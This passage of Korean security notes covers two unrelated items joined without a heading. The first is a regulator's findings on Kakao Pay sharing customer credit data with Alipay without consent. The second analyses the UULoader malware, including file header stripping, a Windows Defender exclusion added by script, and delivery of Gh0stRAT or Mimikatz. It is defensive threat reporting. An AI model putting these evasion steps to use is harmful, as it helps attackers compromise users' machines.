② 원본 데이터 유추 가능 여부 > 카카오페이는 공개된 암호화 프로그램 중 가장 일반적인 SHA256 사용 및 함수에 랜덤값을 추가하지 않았고, 해시처리 함수를 지금까지 변경한 사례 없음 > 원본 데이터 유추가 가능 > 알리페이가 카카오페이에 개인신용정보를 요청한 이유는 애플 ID에 매칭하기 위함으로, 매칭을 위해서는 제공받은 개인식별정보를 복호화해야하기 때문에 주장과 모순
원인
- 카카오페이-알리페이간 제휴 업무 처리간 불필요 및 동의 없이 정보 제공 > 국내 고객이 알리페이가 계약한 해외가맹점에서 카카오페이로 결제할 수 있는 서비스 제공
조치
- 금감원은 향우 면밀한 법률검토를 거쳐 신속한 제재절차와 유사사례에 대한 점검을 실시할 계획 > 금감원은 그동안 개인신용정보 등이 동의 없이 제3자에게 제공되는 경우 엄청하게 처리 > 앞으로도 유사사례 재발 방지를 위해 노력할 것
기타
- 카카오페이가 중국 알리페이에 제공한 개인신용정보 종류 ① 고객식별정보 > 해시처리한 카카오계정 ID·핸드폰 번호·이메일 > 해시처리하지 않은 핸드폰 본인인증시 생성번호(Device ID)
② 가입고객정보 > 카카오페이 가입일 > 카카오페이 머니 > 가입일 > 고객확인(KYC) 실시 여부 > 휴면계정 여부
③ 페이머니 거래내역 > 페이머니 잔고 > 최근 7일간 페이머니 충전횟수 > 최근 7일간 페이머니 출금 횟수 > 최근 7일간 페이머니 결제여부 > 최근 1일 페이머니 결제 여부 > 최근 1일 페이머니 결제 금액 > 당일송금서비스 사용 여부 > 최근 7일간 송금서비스 사용 건수
④ 등록카드 거래내역 > 카드등록 여부 > 등록카드 개수 > 최근 7일간 등록카드직불 건수 > 최근 7일간 카카오페이 결제거래 건수 및 결제 가맹점수
- NSF(Non-Sufficient-Funds Score): 애플에서 일괄결제시스템 운영시 필요한 고객별 신용점수
- 한국과 중국 사용자를 대상으로 정상 애플리케이션으로 위장한 UULoader 유포 정황 확인 [1] > DLL 파일 내 내장된 프로그램 데이터베이스(PDB) 파일에 중국어 문자열이 있다는 점에서 UULoader로 명명 - UULoader는 Gh0stRAT이나 Mimikatz와 같은 멀웨어를 유포하는데 사용되는 로더
2. 주요내용
- UULoader는 File Header Stripping을 통해 정적 탐지 회피 > File Header Stripping: 파일의 헤더 정보를 제거하는 작업 > 해당 작업을 통해 탐지를 회피하거나 분석을 어렵게 만듦
[사진 1] File Header Stripping
- UULoader의 핵심 파일은 cab 파일 안에 압축되어 있음 > cab 파일은 헤더가 제거되어 있음 (File Header Stripping) > exe 파일, dll 파일, 난독화된 최종 페이로드, 미끼 파일, M 파일, Z파일이 포함
구분
설명
exe파일
- 헤더가 제거된 Realtek 실행 파일 - dll 파일을 로딩하는데 사용
dll 파일
- exe 파일에 의해 로드되는 dll 파일 - 최종 단계를 로드하는 파일
M, Z 파일
- UULoader가 실행될 때 제거된 파일 헤더를 수정하는 데 사용
미끼 파일
- 사용자를 속이기 위해 실행되는 합법적인 파일
최종 페이로드
- 최종적으로 실행되는 페이로드로 Gh0stRAT이나 Mimikatz일 경우가 많음
- UULoader가 실행되면 .msi CustomAction를 사용해 폴더를 생성 > 폴더 경로: C:\Program Files(x86)\Microsoft Thunder > 해당 폴더에 위 악성 파일이 포함되어 있음
※ .msi CustomAction: Windows Installer 패키지(.msi 파일)에서 사용되는 사용자 정의 동작을 의미
- msi 파일에 의해 vbs 스크립트 실행 > Microsoft Thunder 폴더를 Windows Defender 예외 등록 > Microsoft Thunder 폴더 내 파일을 실행하여 최종 페이로드 로드 및 미끼 파일 실행 > vbs 스크립트는 악의적인 기능을 감추기 위해 합법적으로 보이는 여러 액션이 존재
- 최종적으로 Gh0stRAT 또는 Mimikatz 등 다양한 해킹 도구를 유포하는 것으로 보임 > Gh0stRAT: 공격자가 원격으로 대상 컴퓨터에 접근하여 정보를 탈취할 수 있도록 설계된 악성 프로그램 > Mimikatz: Windows 시스템의 메모리에서 해시된 비밀번호를 추출하고, Kerberos 티켓, NTLM 해시 등을 덤프하는데 사용
